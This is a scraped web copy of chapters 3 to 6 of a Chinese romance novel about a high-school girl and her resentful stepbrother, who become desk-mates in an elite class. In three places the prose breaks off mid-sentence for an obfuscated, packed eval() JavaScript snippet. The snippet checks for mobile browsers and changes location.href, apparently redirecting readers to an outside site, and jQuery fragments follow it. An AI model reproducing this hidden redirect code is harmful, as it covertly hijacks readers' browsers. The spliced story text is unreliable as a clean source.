《涩果》
3. 第 3 章
03
托阎慎的“福”,梁思意开学第一天直接睡过头,踩着点进的校门,还没踏进教室,只听见里边一阵哀嚎。
“不是吧老王,怎么开学第一天就安排考试啊!”
场面一阵混乱,作为班主任的王立新也顾不上抓谁迟到,梁思意得以大摇大摆进了教室。
她就近挑了个空位,坐下来便问:“静静,什么考试啊?”
“摸底考,老王说三中今年来了个新教导主任,准备从我们这一届实行新的分班制。”曲静推了推眼镜,“这次摸底考的前一百名直接拆分为两个实验班,剩下的还按照我们原来的班级分,之后每个月一次大考,每次都择选前一百名进实验班,原来实验班的人掉出一百名就回原班级。”
“怎么上个学还出淘汰制,高三101吗?”梁思意边说边在教室里看来看去,没见着想见的人,又说,“不过听起来还挺有挑战的,不知道这次出的卷子难度大不大。”
“谁知道呢,反正跟我没关系了,我还是按部就班复习,考个好点的本科就行。”曲静的成绩在普通班算拔尖的,但放在全年级又不算出彩,“不过你可以试试啊,你分科之后成绩进步挺快的,说不定这次有机会冲进实验班。”
“也悬着呢。”梁思意的成绩不算特别稳定,好的时候能冲进年级前五十亮亮眼,差的时候也能让老师对着她的成绩单直叹气。
曲静摸摸她脑袋:“那就听天由命吧。”
梁思意叹了一声气。
早读结束后,她站在教室后边,盯着黑板上贴着的分班考试表微微出神,连林西津从后门进来都没注意到。
“看什么呢?”他拍了下梁思意的右肩,人却站在左边。
“考试分班表。”梁思意已经被他骗过无数次,却依旧下意识往右边看了眼才转回到左边。
林西津叼着一袋牛奶,一双桃花眼,笑不笑都动人:“又是什么考试,怎么刚开学就考试。”
梁思意收回那些旖旎的心思,把曲静跟她说的话,又原样重复一遍,“下午就开始考了。”
“这么着急。”林西津几口解决完牛奶,随手往垃圾桶里一丢,“都高三了,还搞淘汰制分班,学校也不怕影响我们心态。”
“老班也说学校怕学生抗不住淘汰制的压力,最终的分班结果还是看学生自己的意愿。”
“是吗,那学校还挺人性化的。”林西津笑,“那如果你考上了会去吗?”
“我还挺想去的。”梁思意在学习上一直都挺有拼劲,也一直相信有实力才有底气,才可以去追求那些可望而不可即的存在。
“有志气。”林西津微微叹气,“只不过如果你真去了,我可就失去了一个好同桌了。”
梁思意的心轻了一瞬:“你怎么说的我跟真要去了一样。”
“开个玩笑。”林西津淡笑了声,欲言又止:“你昨天……”
“什么?”
“你今天怎么迟到了?阿姨没喊你?”
提起迟到,梁思意又是一肚子火,可这火不能对林西津言明:“我昨天复习太晚了,早上没听见闹钟。”
何文兰早上也叫过梁思意一回,她应了声倒头又睡了过去,等何文兰晒好衣服回来才发现她还没起。
“那阎慎也没等你一起?”林西津又问。
“他怎么会等我。”梁思意起床时,阎慎已出门许久,听何文兰说他连早饭都没有在家里吃。
“也是。”林西津问来问去,也没问出最想问的,他也分不清是不敢问,还是其他原因。
只是想起梁思意的隐瞒,难免会有几分介怀,像是在无形中输了阎慎一局。
-
三中少有地效率高,摸底考第一场安排在开学当天下午,除了考试时间不同,其他都是按照高考的规制。
文科类都是梁思意的强项,唯有数学和地理有些拖后腿,考数学前她还在祈祷多来点擅长的题目,等拿到试卷一眼扫过去,心凉了大半。
不怕全中文,也不怕全英文,就怕中文里掺着英文。
梁思意盯着那一堆熟悉又陌生的字符,脑海里浮现一堆暑假补习过的内容,慢慢冷静下来。
按部就班过完选择和填空,到了后边的大题,她认真看完题目,心里却更有底了。
还真托阎慎的福,最后两道大题梁思意昨晚在帮他写的试卷里见过类似的题型。
她一开始解不出那道题,后面跟阎慎吵完越想越气,爬起来连查带搜,又给辅导班的老师发消息,折腾到半夜才给解了出来。
早上辅导班的周老师收到她半夜的消息,还给梁思意发语音又说了一个更简洁的解题方式。
只是她出门匆忙,没记住太多,考试还是按照自己的笨办法,解出一二小问,连带着第三小问也勉强写了一部分。
考试铃声响前,梁思意停笔,抬头望见坐在斜前方的林西津。
这次考试不是按照期末成绩分的班,能和林西津分到一个考场,梁思意觉得这是另外一种幸运。
她指尖搓着桌面上的橡皮灰屑,静静看着他的背影,在男生回头的那一刹,又垂眸错开了视线。
像过去的许多时刻。
两天的考试时间转瞬即逝,梁思意还没缓过神,摸底考的成绩已经先贴了出来。
她成了少数从普通班考进实验班的人,虽然是倒数,但也是前一百名里的倒数。
分班表出来之前,梁思意得到班主任指示,回去和家长沟通商量。
何文兰一向尊重她的意见,让她不要有压力,随心而选。
倒是阎余新十分支持:“你跟小阎这次能从普通班考进实验班是好事,也相信你们一定付出了很多努力,但最后怎么选,我跟你妈妈肯定是优先尊重你们自己的想法,我们呢,就希望你们放宽心,大胆去做。”
梁思意原先已经坚定想法,只是阎余新突然提到阎慎,她才想起阎慎也进了实验班。
看年级排名,她和他应该会分到一个班。
想到这儿,梁思意竟有几分动摇:“我……”
忽地,玄关处有开门的动静。
梁思意下意识抬头望去,只觉得有些人真是禁不住念叨。
这两天忙着考试,她早出晚归,阎慎更甚,一日三餐都不在家里吃,不到十一点不进家门。
梁思意基本上没在家里和他正面碰过。
“小阎回来啦,厨房里给你留了绿豆汤。”何文兰起身招呼,“要不要给你盛一碗?”
“不用。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913958|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他拎着书包,目不斜视地从客厅走过。
阎余新见不得他这样不管不顾完全拒绝别人的示好,起身厉声道:“你给我站住!”
“我进实验班的事班主任应该跟你说过了,你放心,我一定去。”阎慎没什么情绪地问,“还有事吗?没事我上楼写试卷了。”
“你——”阎余新气急,何文兰拉着他的胳膊,“算了算了,你跟我到厨房来,我先给你盛一碗绿豆汤解解暑气吧。”
梁思意见状,也起身说要上楼。
阎余新最后说了一句:“思意,去不去实验班这件事你不要太有压力,哪怕最后你选择不去,我跟你妈妈都尊重你的决定。”
梁思意余光瞥见阎慎似乎回头看了她一眼。
她没太在意,起身拎起书包说:“我明白,我会好好考虑的,谢谢阎叔叔。”
梁思意转身朝楼梯口走去,阎慎的身影已经消失在楼道里。
她回到卧室,抱着书包坐在桌前。
手机一直静音放在书包里,梁思意拿出来,点开桌面的微信图标,消息列表的置顶一直很安静。
林西津翘了晚上的自习,梁思意不确定他知不知道成绩的事,想问一问他的建议。
进实验班是好事,但进实验班和阎慎做同学,梁思意不确定这是好是坏,毕竟这半年来,阎慎几乎单方面和她断交。
偶尔在家里饭局上碰见,也是话不投机半句多,更别论,现在他还捏着自己的“把柄”。
可阎慎和林西津的关系又让梁思意犹豫,她想了想还是放下手机,起身拿睡衣准备先去洗澡。
一推开门,阎慎刚巧下楼,楼梯口正对着她的卧室门。
梁思意进退两难,阎慎却先开了口:“听说你也考进了实验班?”
不知道他葫芦里卖什么药,梁思意点点头,没说别的。
他轻飘飘一句:“挺不容易啊。”
“说得好像你考得很容易似的。”梁思意一想到他拿着自己的画本,便气不打一处来,“你的排名都没我高,在装什么?”
阎慎轻嗤:“一个九十六,一个九十八,这排名还有争个高低的意义吗?”
“那又怎么样?”梁思意找回主场,“再怎么说我也是比你多考了几分,老师都说了,高考一分甩掉几千人,有这几分,我何止只是高了你两个名次。”
“有这比较的劲,你不如多刷几道题,省得下回月考就灰溜溜掉回原班级了。”阎慎冷嘲道,“下次可没有类似题目的试卷给你刷了。”
梁思意攥紧拳头,理亏但气势不亏:“就算没试卷刷,下次月考我也一定考得比你高,你有空担心我,不如担心担心你的文综吧,前一百好像就你一个人历史没及格吧!”
阎慎也戳着她的痛点说:“你以为你的地理又好到哪里去?”
梁思意气得发出一声冷笑,先前还有些许动摇的心在此刻坚定无比:“这个实验班我还非进不可了,我梁思意今天就把话放在这里,下次月考我的排名要是没你高,我跟你姓!”
“谢谢,但不用了,我不缺妹妹。”阎慎说。
“那不巧了,现在户口本上你就是我哥。”梁思意下巴一抬,咬牙切齿两个字,没情意全是挑衅。
“哥、哥!”
4.第 4 章
04
阎慎像是被梁思意的话堵住,好半天都没说话,最后也只是轻飘飘问了句:“你去实验班,林西津怎么办呢?”
他说着像是在为林西津抱不平,但梁思意听得出他话里的嘲弄,语气多了几丝冷意:“跟你有什么关系?”
她后退一步,“嘭”一声,又关上了门。
阎慎在原地站了几秒才径直朝楼下走去,楼道处暖色调的灯光落在他脸上,一丝不易察觉的笑意一闪而过。
屋里,梁思意抱着睡衣站在门口,等冷静下来,才想起自己原本准备去洗澡。
她靠近门边,没听到什么动静,拉开门去了浴室。
等洗漱完,梁思意擦着头发站在床尾,拿起正在充电的手机,置顶的聊天框依旧没有消息。
她沉思片刻,才敲下一句话发过去,但一直到睡觉前,对面也没有回这条消息。
梁思意一夜心有所念,第二天不到五点就醒了。
睁眼的第一件事,她先从枕边拿起手机,屏幕黯淡的光投在脸上,困顿的目光逐渐清醒。
凌晨两点。
林西津回复:恭喜。
梁思意敲敲打打,最后回了一句玩笑似的话:“还是借你吉言,这下你真的要换同桌了。”
随即,她起床洗漱,等收拾好也没到平时何文兰起床做早餐的时间。
梁思意索性推开窗户,站在窗边戴着耳机听英语广播,暮夏的晨风叫人格外清醒。
六点,梁思意摘下耳机。
楼上楼下都传来起床的动静。
二三楼的格局大体相似,几扇窗户都开在同面墙,梁思意听到楼上的窗也开了。
屋里的声音跟着传了出来。
是一道铿锵有力的中年男声。
“……三,工业革命及其对资本主义世界市场发展的影响……”
梁思意愣了一瞬,有几秒都在怀疑是不是自己的耳朵出问题了,可楼上的声音还在继续。
“……资金来源,也扩大了对英国商品的市场需求……”
伴随着脚步声挪动,这道男声也跟着忽远忽近。
虽然梁思意昨晚被踩中痛点,可偏科这事从高一到现在一直都有,她努力过,但努力的重心更多还是放在作为主科的数学上。
至于地理,她更愿意从擅长的史政上多捞点分。
意外窥见对手的努力,梁思意想到昨晚放出的大话,心里不由得涌出几分危机感。
想到这里,她匆匆收拾好书包,推门下楼。
“妈,早餐给我装起来,我不在家吃了,我要早点去学校!”梁思意站在桌边喝掉何文兰提前温好的牛奶,“以后早餐我都不在家里吃了。”
过去每天早上坐在餐桌边慢悠悠享受一顿早餐的闲暇时光,似乎在阎慎的用功下已经变成梁思意不够努力的证据。
她暗自懊恼,痛定思痛,决心以后要再早起二十分钟。
“怎么突然这么用功。”何文兰将打包好的早餐递给梁思意,“连在家里吃一顿早餐的时间都没了。”
“有人比我更努力呢。”梁思意接过去,“我先走啦!”
梁思意走出家门,只在右耳塞了一只耳机。
在她身后,西晒朝向的小院沐浴在夏日晨光中,阁楼几扇窗大开,阳光铺满整间卧室。
阎慎停在窗前的书桌旁收拾书包。
楼下有急声唤道:“思意,今天可能有雨,你拿把伞再走。”
他抬起头。
巷子里都是独门独户的小院,应季的月季攀附在镂空的院墙之上,红粉黄紫与绿叶交映。
院门一开一合。
蓝白身影混入其中,花团锦簇间竟也不显逊色。
-
梁思意出门早,进教室时只有三四个女生在,见她进来,都凑过来问:“思意,你今天是不是就要去实验班报到了?”
“我也不太清楚,老王昨天让我——”梁思意咬着面包片,目光瞧见趴在桌上睡觉的男生,顿了瞬才接着说,“老王就让我先回去问问家长意见,其他的安排我也不知道。”
“这样啊,那估计也就是这两天的事情了。”
梁思意“嗯”了一声,轻手轻脚走到位上坐下,林西津枕着胳膊,面朝墙壁睡得安稳。
她安静地解决完早餐,从书包里翻出课本,依旧戴着耳机听英语播客。
教室里的空位置陆陆续续坐满,耳机外的世界逐渐变得嘈杂,忽地,耳朵一空。
“听的什么歌?”林西津不知何时转过脸,抬手摘掉梁思意的右耳边的耳机,白色的耳机线蜿蜒勾缠。
“没听歌。”梁思意取下另一侧耳机,从包里翻出手机,点亮的屏幕页面是一长列中英混合的播客。
“BBC six minutes English.”林西津熟稔地念出播客的名字,“你还在听这个啊。”
“养成习惯了。”梁思意刚转来平城时,因为没有系统地学过英语,基础比较薄弱,口语也说得别扭僵硬。
是林西津一个单词一个音标地帮她把口语纠正过来,这个播客也是他当时推荐给梁思意用来磨耳朵的。
一条六分钟左右,梁思意不知道跟着他听了多少个六分钟。
“好习惯,你比我能坚持。”林西津打了个哈欠,把耳机放回到梁思意桌上,“你什么时候去实验班?”
“还不太清楚。”梁思意将手机一同收了起来。
“我看年级排名,阎慎这次也在前一百名,他是不是也准备去实验班了?”
梁思意“嗯”了一声,倒是没隐瞒:“昨天晚上听他跟阎叔叔说的意思,应该是会去的。”
林西津背靠着墙,侧头杵着胳膊,看不出什么情绪变化:“挺好,你们也能有个照应。”
梁思意无奈地笑了一声:“你在开什么玩笑,我和他不吵起来已经算皆大欢喜了。”
“你这么讨厌他,怎么还决定去实验班跟他当同学?”
“我没想到我会考进去,也没想到他会考进去,更没想到我们俩会一起考进去。”梁思意不知不觉中被林西津的话带跑偏了,反应过来又说,“我也不是讨厌——”
恰巧,有人从教室后门探出头。
“梁思意,老班叫你去他办公室一趟。”
梁思意的话被截断,林西津也起身说要去厕所,她只好跟着站起来,一同走出教室。
一左一右,两个方向。
梁思意在老王办公室拿到了新的分班表,得到几句作为师长的叮嘱,回到教室和同学说着告别的话。
她收拾好书包,抱着一摞书和试卷,空不出手挥别,只说常联系,说不定下次月考就回来了。
“别介啊,你得给咱班争口气,多留一日是一日。”曲静笑着给她打气,“加油!”
梁思意点点头,脚步却十分磨蹭,直到早读铃响,也没见林西津回来。
她无声叹息,径直走出了教室。
新的教室在六楼。
文理科的四个实验班都在这一层。
走廊挤着不少人,实验二班靠近楼梯口,梁思意从后门进去,在后面的黑板上看到了新的座位表。
她顺着一行行往下。
在第三组的倒数第三排看到了自己的名字,也看到了新同桌的名字。
阎慎。
梁思意脑袋“嗡”一声,怀疑自己看错了。
她一颗心狂跳,低头凑近了看,手按在名单上仔细地看,确定不是自己看错行看错名的刹那,眼前像有一群乌鸦飞过。
啊——啊——
“不是吧……”梁思意生无可恋地停在黑板前,有人挤过来看座位表,她恍恍惚退了两步。
书掉下来砸在脚背上。
她痛呼一声回过神。
“不好意思不好意思。”男生帮忙捡起书,笑着说,“你坐哪儿,我帮你放过去吧。”
“没事,我自己来就行。”梁思意道了声谢,接过书看向自己的座位,阎慎已经坐在那儿了。
她有些意外,他怎么没把她的桌子扔了。
梁思意拖着沉重的步伐走过去,同样沉重的书包放到凳子上,发出“咚”的一声。
阎慎闻声侧目。
他今天戴了眼镜,一副普通的黑框,遮住了眉眼轮廓,却显鼻梁更加高挺。
梁思意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916257|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有心思欣赏他的脸,只意外在他眼里看到的惊讶,硬挺着问:“看什么?”
“你坐这儿?”他仍旧惊讶不解。
“你这么会演你怎么不去当演员啊?”梁思意气鼓鼓坐下来,压着声说,“座位表就在黑板上贴着的,你别跟我说你没看见!”
“我没去看座位表。”阎慎不甚在意地说。
“那你怎么知道自己坐在这里?”梁思意语气怀疑,“你在这个班还有熟人?”
“怎么?要介绍你认识吗?”阎慎随便喊了两个男生的名字,对方都应声回头,得到他没什么事的回应后,又对他竖了个中指。
梁思意看他在新环境依旧如鱼得水的模样,张张嘴,一时半会也不知道要说什么。
她沉默着收拾课本和试卷。
班里大部分人原先都是一个班的,分班后也能很快融合到一起,聊排名高低,聊天南海北。
梁思意听得乱七八糟,自然也参与不进去。
在周围热闹氛围的衬托下,她不由自主地将目光转向坐在一旁的阎慎。
要说起谁跟谁熟,整个班里,没有比她跟阎慎更熟的了,从初中到高中,四五年的时光里,他们的关系可以算得上是相当融洽。
他们读初三那年,何文兰从林家换到阎家做住家阿姨,梁思意也跟着母亲一同住进了阎家。
初中两人不在一个学校,上下学时间不太一样,接触并不太多。
一直到高中,两人同在一个学校,虽不在一个班,但上课时间差不多,偶尔会在家里碰面。
有时遇到不会的题目,阎慎还会主动替她辅导,即使讲了很多遍,下一次梁思意还是不会,他也没有生气和不耐烦。
那时的他好像对她耐心很多,包容也很多。
一点也不像现在,说话夹枪带棒,总是横眉冷对。
梁思意有时想到过去免不了会有些难过和惋惜,毕竟比起父母的再婚,明明是他们先成为朋友的。
似有所察觉,阎慎也侧目看向她,几秒的对视里,他率先挪开视线,看见她随手搁在桌上的数学卷子,张嘴便是:“108分,考这么点?看来你一个暑假的课真是白补了。”
“说得好像你自己多牛一样,谁知道老刘给你们藏了多少好东西?”梁思意想到开学前帮他做的那几套卷子,惊道,“这次摸底考的试卷不会是老刘出的吧?”
“想什么呢?老刘是这样的人吗?”
梁思意蹙眉:“那为什么他只给你们班拿卷子写?”
阎慎眉微挑,镜片下一双眼眸漆黑,笑得有些坏,“你自己去问他啊。”
试卷当然不是老刘给的,作为两个班的数学老师,他还是很公正的。
那些题目都是阎慎暑期辅导班的老师自己拟的题目,在网上确实搜不到原题。
梁思意看他那样子,隐约觉得自己被骗了,但又找不到证据,也不可能真的去问老刘,一口气憋在心里。
好。
很好。
她沉默着收拾书和卷子。
教室里陆续坐满了人,梁思意前边是个女生,旁边的座位始终空着,一直到快上课,才见一个男生急匆匆跑进教室。
他坐下来的动静很大,梁思意抬头看了一眼,男生也回了头,但却不是看她。
他“咦”了一声,敲敲阎慎的桌面,笑得很意外,“哥们,没想到你也在二班啊。”
阎慎抬头,目光有些迟疑。
“兄弟,你不会脸盲吧?”男生挺吃惊地笑了一声,“刚在楼梯口我拜托你帮我带一下座位表,你这就忘了?”
“没忘,只是你跑得太快了,我没看清是你。”阎慎礼貌地说。
“我那会肚子疼得厉害,又怕耽误班上同学找座位,看你往这边走,就想着让你顺手带一下。”男生笑笑,“我叫徐衡,没想到咱俩不仅是同学,还是前后桌呢。”
“阎慎。”
简短地自我介绍完,阎慎转头又对上梁思意的视线,忽地想起什么,镜片后的眸光一闪。
梁思意冷笑一声,没了难过,也没了惋惜和气愤,只发自肺腑地吐出两个字:“装货。”
“……”
5.第 5 章
05
新的教室、新的同学和旧的同桌,都给梁思意带来一种不同以往的感觉。
实验班的节奏快,效率高,她也顾不上想其他事情,一整天笔尖都快擦出火。
晚上八点,第二节晚自习。
一整天没露面的班主任拿着一沓试卷走进教室,他没多废话,提笔在黑板上写下“张德忠”三个字,站在讲桌旁说:“同学们好,我是你们高三这一年的班主任兼数学老师,你们的自我介绍就省了,私下想认识彼此自行联系,时间紧任务重,今晚我们先做套试卷。”
他把手上的试卷分四批扔给第一排的同学:“往后传。”
梁思意上了一整天课,脑瓜子嗡嗡的,拿到试卷后,症状只重不轻,她将桌上成摞的书搬到脚边,开始埋头解题。
平城的夏天已经接近尾声,教室里没开空调,顶上的吊扇呼啦呼啦转着风。
两个小时短得像是转瞬即逝。
停笔时,梁思意没忍住往旁边看了眼,阎慎的卷面整洁,黑色字体填满大部分空白。
她揉着发酸的手腕,抿了下唇,又若无其事地挪开了视线。
真要命。
怎么新班主任不是教历史的呢?
梁思意备受打击,又累了一天,趴在桌上,像被吸走了大部分精气神。
“放学啦,你们还不走吗?”徐衡收拾好书包,见两人一动不动,好奇地问,“你们都住在学校附近吗?”
“对,我离得不远。”梁思意应声,一天的时间里,除了阎慎,她也就认识了徐衡和他的同桌向葵。
一个班级第二,一个班级第一。
梁思意一整天只要抬起头就看见两学霸坐在前边,连个开小差的心思都不敢有。
“那我们先走了,明天见。”徐衡书包一甩,“向葵,你快点啊。”
徐衡是个话痨,上午才认识没多久,就把他和向葵既是原来重点班的同学又是青梅竹马的关系告诉两人。
阎慎和梁思意却默契地隐瞒了他们彼此的关系。
多一事不如少一事。
两人离开教室也是一前一后,如非特殊情况,绝不走在一起。
夜渐深,学校门口已经没多少学生,梁思意穿过马路,走进正对路口的小巷,冷不丁撞见刚从便利店出来的阎慎。
没有打招呼的必要。
梁思意装没看见,继续往前。
回家的路只有一条,阎慎隔着几步走在她身后,手中拎着的塑料袋子发出一阵细碎的动静。
想了想还是没忍住,梁思意在家门口停下,转身看向他:“你何必呢?”
阎慎跟着停下,月光皎洁,衬得他眼珠漆黑,神情微微有些发愣:“什么?”
梁思意指指他手中的塑料袋,说:“你一日三餐都不在家里吃,现在连夜宵都要在外面买,我有时候真的搞不懂你在想什么。”
平心而论,阎余新与前妻是和平离婚,与何文兰也是在他离婚两年后偶然间相逢。
其中并无一点苟且龌龊。
他们作为儿女,是不可能一辈子陪伴在父母左右的,如果父母能有新的选择,梁思意也不愿意成为他们奔向幸福道路上的拦路石。
她只是想不通,为什么阎慎这么难以接受。
“你爸妈瞒着你离婚确实不对,可两个人没有感情了,为什么一定要为了孩子继续绑在一起呢?我们都是独立的个体,况且他们就算分开了,对你爱也没有少。”梁思意少有的长篇大论,“我这样说可能会有一点对不起我爸爸,但他已经去世很多年了,这世上也没有哪条法律要求我妈妈一定要为他守身。”
“换个比方说,就算我爸爸还在世,他们现在因为感情不和要分开,只要彼此没有原则性错误,我会打心底祝福他们都能得到新的幸福,因为我知道,我不可能一辈子都陪在父母身边,所以我妈妈能有新的选择,我会为她高兴,即使这个人不是阎叔叔,只要是对她好的人,我都会拿他当长辈一样尊重。”
她说得不太大声,怕被屋里的人听见,可阎慎却觉得这话语震耳欲聋,他笔直地站着,一言不发。
话说到这里,梁思意索性一次说开,“我知道我妈妈嫁给你爸爸,在很多人看来都是我们沾了光,我今天跟你说这么多,你估计也会觉得我得了便宜还卖乖,但不管你怎么想,我只希望你对我妈妈尊重些,起码她在嫁给你爸爸之前,对你并不差,她也不亏欠你什么。”
说完她不再理会阎慎,推开门走了进去。
何文兰还没睡,照例备了两份夜宵,招呼梁思意先去洗手,“小阎呢?你们没一起吗?”
“不知道,没看见。”梁思意擦着手从卫生间出来,路过客厅的窗户往外看了眼。
院门半敞着,却没人站在那里。
这人不会被她气跑了吧?
梁思意在窗前东张西望,正准备出去看一眼,听见有人关院门的声音,又立马坐回桌边,装作若无其事的样子。
阎慎在玄关换了鞋,路过餐厅何文兰同样问他吃不吃夜宵。
梁思意没抬头,自顾吃着馄饨,只余光瞥过去,发现他原先拎在手里的塑料袋不见了。
“不用了,我今晚不饿。”阎慎说完微妙地停了几秒,“谢谢。”
“那你早点休息。”何文兰笑着叮嘱。
他点点头,不再多言,快步上了楼。
何文兰转过头又叮嘱梁思意:“你也快点吃,吃完早点休息,我先去睡了。”
“知道了。”梁思意没再磨蹭,把剩下不多的馄饨一口塞完,快速进厨房把碗筷收拾干净,也拎着书包上楼了。
洗漱完还不到十一点。
梁思意擦完头发坐到桌边,从书包里拿出张卷子,按下桌上的定时器,提笔写了起来。
夜深寂静,时有几声汽笛响起。
梁思意写到脖子发僵才停下,她站起身在屋里甩着胳膊,走到窗边探出脑袋透气。
无意间抬头,阁楼的灯光也一样亮着。
梁思意好似找到了并肩作战的队友,在这深夜里斗志满满,休息好又坐回桌边,笔尖的沙沙声像深夜里的战鼓声。
凌晨一点半,梁思意停笔,脖颈又酸又胀,但看着写得满满当当的试卷,又满意地长舒一口气。
实在抵不住困意,她起身关灯,按下开关之后,梁思意又忍不住走到窗边,推开窗朝楼上看了眼。
竟然还在亮着灯。
“……”
梁思意投降,但她又不是轻易认输的人,躺下之前把起床闹钟往前拨了半个小时。
晚睡比不过,比早起总行了吧。
抱着这样的想法入睡,梁思意一整夜都在梦里跟人比赛,把闹铃当发号铃,抬手一摁,睡得昏天暗地。
何文兰进屋来喊她时已经过了平时起床的点,梁思意猛地惊醒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921344|192483||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“我第一名啊。”
“什么第一名?你这孩子睡糊涂了吧。”何文兰笑了声,走过去拉开窗帘,“快点起床吧,小阎都出门去学校了。”
“什么!”梁思意睡意全消,慌里慌张地起床,手忙脚乱地洗漱,下楼拎上早餐盒就跑。
“你慢点啊!”何文兰不放心地叮嘱,看人走远了才动手准备自己和阎余新的早餐。
往常都只需要准备阎余新的,她吃阎慎不拿的那份,今早破天荒了,这孩子拿走了他的那一份。
何文兰想想,摇头失笑。
梁思意跑出巷口看到车流涌动的马路和校门口进出的学生,才忽然回过神来,又没迟到,她跑什么。
她缓了口气,等着红灯变绿灯,跟着人群走过去。
教室里的人已经来得差不多了,都在边吃早餐边看书,梁思意快步走到自己的座位上,阎慎置若罔闻,自顾看着书,连半点余光都没分给她。
梁思意觉得无所谓,拿出餐盒刚打开,坐在前排的徐衡嗅着鼻子回过头:“好香啊。”
“吃一个?”何文兰每天准备的早餐都不同,今早是蒸包子,梁思意把餐盒递过去,“我早上不太饿。”
闻言,坐在一旁看书的阎慎忽然抬头看了过来,梁思意不解地问:“你也要来一个?”
阎慎还没说话,徐衡已经伸手从梁思意的饭盒里拿走一个包子:“这个包子一看就很好吃。”
向葵忍不住吐槽:“你饿死鬼投胎啊,早上不是从家里吃过才出门的吗?阎慎的包子你也吃了两个,还没饱啊,你的胃是海无涯吗?”
“我妈天天就是三明治欧包三明治欧包,我是中国胃,吃不惯啊。”他一口咬下半个包子,眼尖瞥见梁思意的饭盒,含糊不清地说,“诶,你的饭盒跟阎慎的是同款呢。”
“是吗?”梁思意愣了瞬,脑袋里电光石火一通闪,突然懂了阎慎刚刚那欲言又止的一眼。
徐衡也突然停住:“这包子……”
“怎么了?”向葵问。
阎慎和梁思意都看着他,他也看着两人,目光流转间,梁思意知道这人不该留了。
“真好吃啊。”徐衡笑眯眯地说。
梁思意松了口气。
徐衡是个聪明人。
他敏锐地意识到梁思意和阎慎之间存在不寻常的关系,也默契地选择了保守这个秘密。
阎慎没有明说,但事后请他喝了一周的水。
几次下来,徐衡自诩同他关系近了点,还是没忍住八卦:“你们是亲戚?”
“不是说不感兴趣吗?”阎慎喝着水,没有正面回答。
“那就不是亲戚,你俩也不是一个姓。”徐衡不愧是学霸,思维转得很快,“如果是正常朋友,你们不会忌讳跟别人透露关系,但你们又同吃同住,你俩……不会在早恋吧!?”
过程全对,结论全错。
阎慎呛了声水,抬手抹了下嘴角,“不是。”
他捏着矿泉水瓶,淡淡说道:“重组家庭。”
徐衡沉默了几秒,才拍了拍他的肩膀,安慰道:“这样的事很正常。”
“……”阎慎笑笑,“我知道。”
道理他不是不懂,父母离婚再娶也是人之常情,没有感情的两个人确实没有必要为了孩子绑在一起。
他只是不能接受。
成为妹妹的可以是任何人,但为什么偏偏是梁思意。
6.第 6 章
06
难得的休息日,阎、林两家人聚在一起。
阎余蕙听说梁思意和阎慎这学期进了实验班,笑着关心道:“实验班怎么样,待着压力大不大呀?”
梁思意说还行,阎慎跟着“嗯”了一声。
“西津,你也要加把劲啊。”阎余蕙看向坐在一旁的林西津,“以前都是你给思意补课,现在思意反倒成绩比你好了。”
“知道了。”林西津没什么反应地说。
“行了,难得休息就别老是问他们学校的事情了。”阎余新喝着茶说,“我们大人聊聊天,你们自己去玩吧,别跟我们这里拘着了。”
阎慎先起身离开了客厅。
梁思意看向林西津,自从分班之后,他们一直没见过面,线上联系也不多。
“去书房待会儿?”林西津起身问。
梁思意没有拒绝,上楼路过偏厅,她看见阎慎站在落地窗前,许是听见动静,他回头看了过来。
梁思意猝不及防对上他冷淡的目光,脚下的步伐跟着一乱,连忙挪开视线,紧跟着林西津上了楼。
书房的陈设还是梁思意记忆中的模样,林西津拉开椅子坐在桌后,状似无意地问:“和阎慎一个班感觉怎么样?”
“没什么特别的。”梁思意想了想说,“一天也说不上几句话,还没有我跟班里其他同学说得多。”
林西津似乎有些意外:“怎么会这样?我记得你们以前关系不是挺好,这都半年多了,他还在生气吗?”
“或许吧,毕竟他之前一直以为他父母只是因为工作短暂异地。”阎慎的母亲蒋穗是在他小升初那年因工作调动去了国外,在此之前,她和阎余新因为这件事在私下里吵过无数次。
最终,双方都不愿妥协,在蒋穗出国之前办了离婚手续,考虑到阎慎还小,夫妻俩一直瞒着阎慎。
蒋穗出国之后也不是完全对儿子不闻不问,每年都会休年假回来陪他,也经常同他电话联系。
她和阎余新约定好,在阎慎高考结束之后再公开离婚的事情。
阎慎初一那年,阎余新在隔壁市开研讨会,无意间碰见带着孩子老人在医院奔波的何文兰。
他们是年少情谊,多年前因为种种原因没能走到一起,久别重逢,阎余新向何文兰伸出了援手。
姥姥去世之后,何文兰进入林家当月嫂,等到阎慎初升高那年,阎余新面临工作升迁,一时间顾不上阎慎。
何文兰便接过了照顾阎慎的任务。
“他也没想到,我妈妈会和他爸爸走到一起。”梁思意不太想说这些过去的事情,又把话题转回到学校里的事。
